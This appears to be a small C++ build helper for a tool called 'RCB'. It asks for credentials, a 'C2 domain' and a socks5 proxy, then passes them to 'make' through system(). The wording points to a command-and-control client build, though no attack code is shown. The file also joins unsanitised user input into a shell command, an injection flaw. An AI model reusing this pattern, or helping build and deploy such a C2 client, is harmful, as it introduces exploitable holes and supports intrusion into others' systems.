28 lines
865 B
C++
28 lines
865 B
C++
#include <iostream>
|
|
#include <string>
|
|
|
|
int main()
|
|
{
|
|
std::string sUsername;
|
|
std::string sPassword;
|
|
std::string sC2Domain;
|
|
std::string sProxy;
|
|
|
|
std::cout << "Enter the username to be used by RCB: ";
|
|
std::cin >> sUsername;
|
|
|
|
std::cout << "Enter the password to be used by RCB: ";
|
|
std::cin >> sPassword;
|
|
|
|
std::cout << "Enter the C2 domain to be used by RCB: ";
|
|
std::cin >> sC2Domain;
|
|
|
|
std::cout << "Enter the socks5 proxy address to be used by RCB: ";
|
|
std::cin >> sProxy;
|
|
|
|
std::string sCommand = "sUsername=" + sUsername + " sPassword=" + sPassword + " sC2Domain=" + "http:/" + sC2Domain + " sProxy=" + "socks5h:/" + sProxy + " make"; // todo: figure out why this works and why // doesn't
|
|
const char *cCommand = sCommand.c_str(); // convert string to c string for running as command
|
|
|
|
system(cCommand); // run the make command with environment variables
|
|
}
|